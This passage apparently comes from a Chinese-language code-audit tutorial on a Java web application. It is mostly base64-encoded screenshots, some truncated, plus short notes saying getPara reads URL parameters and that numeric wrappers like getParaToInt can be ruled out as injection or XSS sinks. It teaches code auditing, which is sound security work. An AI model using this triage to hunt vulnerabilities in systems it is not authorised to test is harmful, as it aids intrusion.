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 truncated
|
||||
然后读到getPara函数,实际上就是获取url里面的参数。<br>
|
||||
<img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=11>以及getPara的一系列封装,以及getParaToInt和getParaToLogin之类的,就是返回一个数字类型的对象,之后审计遇到这种这类函数可以放弃注入和xss等需要特殊字符的漏洞。(主要通读就是看看有没有过滤函数之类的)</p>
|
||||
<p blockindex=12><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABIMAAAJnCAYAAAAEDpNZAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdd3wU1fr48c9sNmSTbDokkEIaIXQRBVE6oliwgKggiAURFRWv159e77WX77V377UgdvQK2EGsIEVRegiQkEp6IW2z2Wyymz2/P9IRshuS0PK8Xy9f92ZnzswzZ84sO8+cc0brGxmjEG0K6hVMSXHR8Q4DgLBhEQDkJmQf50iEEEIIIYQQQpzKwsL7kpuTdbzDEF1Ad7wDEEIIIYQQQgghhBDHjiSDhBBCCCGEEEIIIboRSQYJIYQQQgghhBBCdCOSDBJCCCGEEEIIIYToRiQZJIQQQgghhBBCCNGN6I93AKJ95C1iQgghhBBCCCGE6AjpGSSEEEIIIYQQQgjRjUgySAghhBBCCCGEEKIbkWSQEEIIIYQQQgghRDciySAhhBBCCCGEEEKIbkSSQUIIIYQQQgghhBDdiCSDhBBCCCGEEEIIIboRSQYJIYQQQgghhBBCdCP64x2AEEIIIboXRU9Gzr2Ry8+Mxn3rK9z30b7jHZIQQgghRLciPYPEUVFKY+hZI3nqwjB6K3W8w2k3pfTEX34v9986geCTMP6ThSFiFNMX3MeVw1vX8fFuP3L+O0bqr/sKu+BWFs2aQn+/jm1Hf+aV3Dhax5/vPsvL36R1TnBCCCGEEMJl0jOom1HKwDVzJtN/13c8uuevN3Gjp57P/QPcG9Yt5D+vb+GHOu0wW9Lw8/chzN8LY2fH6N2fS2+Yx6QhffCyHSRp3TKWrtiJSWuOQ529mKWX5PPw/f8jRztcfM644RccSu/eQXh1XujHjDr9FUZPziThueepblkvqi9hd31L39D6zxy1B7FmrCbr8+cpL3cc0xj9hl3DXTePxrr5a1amH7q0Y+1HDRjBVyOruOuDJDKP8/kfdN3LLDK8z6I3t3dwS52ju10/R1P/ip6MuelOZp4Zgb+HG6r8F565612Sj6oumo1Y+Aa3j66vEaV2897CZ9hg++s2j1T/auA8XrzTyEeLXme7o/5zFXU1Tz/Ql1W3P8MGa9vxubr/jijevYW86Vdx54OD+OS519hUcHTfK56B/ngUJbJhZxplHax3IYQQQgjRfh1OBimCiBoei49SNKYWNE2jtngvyTk6wobGE+DWtADNXkTG7gzMeBAcP5wQz+Zy2ApJ33Og1c2tOLa2r1/PrZsBv2geuNz7iOtpmoON3//Cxvo/Om3/Suk4bdbtXNhzK+8/9xbF/mcx64ZFXFdwN69uMnfafjSthj/fuos/6//otO2eKCrWXEHGLit4xhF08cP0v6aEna+/Q+0xOlblNYq5N4+n6suHeO7Hwr/UcVe1H1edqudfrh8X9Z3IxWdrbH7hQX4trgVloaQTNrv7kwe5/wsNgs9j8d2h7d9AShJpulnERcP2hs4y/vGx9MpOZG814KSqO7x/F9TmbuXzV5PIWPAot9x8MamPfk3hUbQBc6UF5eWNL1DW+WEKIYQQQggnOqlnUCV5iXsprdNQqgfB8cPwsljRNDt5iVvIAxReBMf1x8dUTFVTORsHU7ZTYGnxQ/JkvLE4hhp79sRnJGKOiWekn4Pc9GRe+iGbLIeGUkaumzeevltX80TDFAxDJk7mQUMiV68pat6QTzh/vyaeUX6K3PQkXvgxhxyHRm21lbxqUDo7R3reO+6iC7knrn6EoSrZz+0f7m/9dFtn5LxJg5kZ60+AVkN6agpvrM3hgMOVc9uTmEg/9v+8jD9S7UAWy3x8GKv5AWa8p9zHq3MGN6392HvT6veZ8Rn3PPoNZZpG/NyXWOy7li96jOGygb5Yc7ex/M23+aOwvsyo297hlpENvZ9yv+KBf60gvyF+pYKZ/vizxOz6EOuI6QwJsJO/ayVvv/0rBY1P6r3iuGzhAs6N96Mm/TvWl03ifLWUO5fscuH4QBlGEDb7MfrE9MSR/T6F5VfSRz3GtuXr6pe7DyDk8gcIGxSPniLM214i9dsfsKHhdvY7jLx8VNO2TnvmhvoyWa+w7bW3sDV87qg6gLW0Bsgi55sh9Fw8gQDvdyi0gPI+h/CZfyckNhI3exHmhNdI+3IVtQ13msbLf2Kg9wqy3C8hIjaQuoKfOfC/Byg92BC/k/IA3qMncFr1Bp766a+JoLbaT8v2XR0bzwifOnLTk3n++xxy0TAOG8XHk3o1bevlu/rVlyvYy/xP0ylx4fujw+ffbxizbpnH2GgjVamr2VB+yPn1iGDytddz0fC+GCkjdeP/WPrpVsrQUPoBzPv3vcRsephHv8hC4cOYxc9wjf4z/vX8Wio6/P3XDa6fDtR/Ew8PPByFpCVmNycyGo/BdwgzbpjFuPgQDHVlZG5ZyXsfbKYIDaUimPnvJwhbfQOvbKz/hoyf+xKLjR9x2xtbsZmKKTSBcrMc9vvTWf2X2vaSkhHIyAG9IO0gSmnEx0ZRmrK8qW23FZ+z/TuL39X60zQzOz5bQ+aL5zE28mtWZrl06lrHUmWm2tvY6T1LhRBCCCGEazqeDFJVlOUVUlvX8LdXCAEeZeSV2Wh8jKnwIDCmP77mNNILzPU/umWaiQ6JjfRh2brf+VLfi7nnDeXmocU8sKvG5fL9onxZ9utmvmoof8uQgzyQ4Fr5LWvXcusmcO83jJcHtl6mlKL/2SO4Nayct1ftZT9+XD55KP/vLBO3/17pwtZLySuoZvywsfTetJYCu0bm2qVkNiyt+v0dHkr2hKGzeHRiCa+/+iNFADVltLwndOs3CP/lS3j2KyOjrlnItTN3s/2137FpGjs/+gf3r9DQj5rPY6MPH0XkkHC+/uhZVnuOZM78ecyZsJPn15pQCmIvXcC0kDQ+fOl78gPHc+VVBkh0qepQCrynPE54z0Qyln6AxX86kRd5wf7G5TqMFzxPRK+1pL/7BDWGkYTN+D9iDiaQvLmQup0PsyvDG+L/zrDR+ex/fxlWgNoi7EfaaU0NDvRobqCUOwGXPkdv92Wkv/cLNbrhhM18lOiz/iD5j+a+EVrkWbh/9yB7fwwk8LIniLngd0o//BZFD5fKR4SG4cj4lfTDdGVoq/00io304dO1m1np0YeFU4eycEgRDyXaqEpOYHGeHvoO5KVh1Tz9bSb5ALYaSl07BR08/3qGX7mACYY/WPrsekoDz2HGbAMk15dTSiNuxh1MD9nG+y++x0GvQVxy/ULmF6fz3M9laPYkViz7gydvns3EdU+zsc9MLh+czzcPdkYiCE7966dj9a+GL+DVRaPxQIfeTWPhkqX1/xSVr+O5ez5gP+6cOWcRE3r8yIevbOOgW38uufEm5k7axwtrTUdxPlpzVv+aZiYpJZ8r4gbirtZTSyz9YiFlWWrT8XdlfM7qr5WKZNKK5xAa4QZZ7RsqptDTOzwYt+JEijsctRBCCCGEOBodTgZpmhVTkRXQ6m90A4PQytMwK5q6tLv3iiHMR1FpNWDQm6huTBwpPUFxowhC4aitpCQnjaLKI97Sihby96fyXW4NYGZlWjQPhPrDrsKjLv+vUD9IKHJaDsDa0HvI3Xq4GwADIyKM7NnxG2ty7UAl72zy4pZeHhiUCauTG15Ns/Pnio84/W/zeOTFqaTvTWDbujX8srcUpWlQdZCcKlDhtWA3U5SV1dwrqcW23XI38+Vvydg0jZyf93De9GhC+Z0DQG3D03N3s+3wQQBF277l530HUSqT70ZO5vroKFibAPRkUHwIqb88xoYkM0rlsH7URK52qeYAwvCLiqDyt7kUZ5ShVAqFp80gqml5LAH9e1L+3bOUZWlAEtnbpzMsfjT8/iVU51BdDaqPFewVWPOTmodVHibJqvR9CTrvMjwP/oTJBJpmo3z5JLY5rODQgL0UpdxCv7CBUD9oq17Bd+Rs3waahuW3Swg9bxBefIvFxfIeHu5Yqy2HrYG220/D7lPSWJVrRSkTn2dEsqi3HyQeRNVYyawB1bMO6mzkF1c2zxnkYjKlY+e/N/2ifUj67lO2ptlRqVmsO3My0U0lwzhtiD8JKz5lW5oGZPP5xnE8Mngw/LShvj63L2Nl0tNcMfNCgiLGUL3mcb4vxOkQIFec+tdPB+s/aQVPPbYGXdhF3D3flzWPfcpeALuJwob62/72nex01FLn0IAD/LrnMuZH9cXljFVbXKj/A/tTqJnYnzjWsycwnmj/NH7b5wC0ro/PhfbbzIK1WsPD4Akt+vu2RenHc9d/r2OQpsNevIWPX/yGIukNLIQQQghxXHTuBNJaAIGBivJUU6sfjfbyA2RYPTAERhAdoyNlfwE2rZbilC0UU/800iMojtiovlTtTqOqM+6KTnFVNbVN/99SU4eHj1sbazsvb/DprKbgga+noqqmuWdYRfp+nk7H9SGARRt54/4dhA07gzOGn8XUxQ8T/dYDLNnu+pwntVWV2Br2Zz+wme822mnPjClV5gpoCLmqqga9sUfDEh+MRgfmikoab87KyirB3dUtB9LD24HNXNpQvhZbRXmLKzEQdy9Pgq7ZTlBjdWnuaOmGdkQPfpf9xqjLAJ07VGwia9l/sTTUhxZ2Hf2vnIuvv3d9/khzR+1qvX1VXd48bCbvO3K32Zt6HrlSXuvgDZ7ZWtO0nUprHe6GY/viwyOffy88DXXUWOvbt6aBxVINTYfvi9HowVm3LWVk40eaG25JHrgDNkDTKtm47AvGPT6HC02/8PQ3Bzp3eOwpff10sP6tZeRll6EMZhy4U3KYZIxH9AXccuNU+gd54qYBOj32P3twzCTtJ9VwMfHhsD+iH31zknm7iqZkYdfG57z9Hqpd17p9Kx89loGnmyehE+Zx7bzJ7H7251aTmwshhBBCiGOjU5NB+oBe+NmK2W+h9VNum4UqmwVzpQ7jacEY9QWU1TUv1jRFTUkBpvBIvD2gyvXRTuIUpVFFXsJ68hLW80fZI/Line truncated
|
||||
<p blockindex=13><img src=data:image/png;base64,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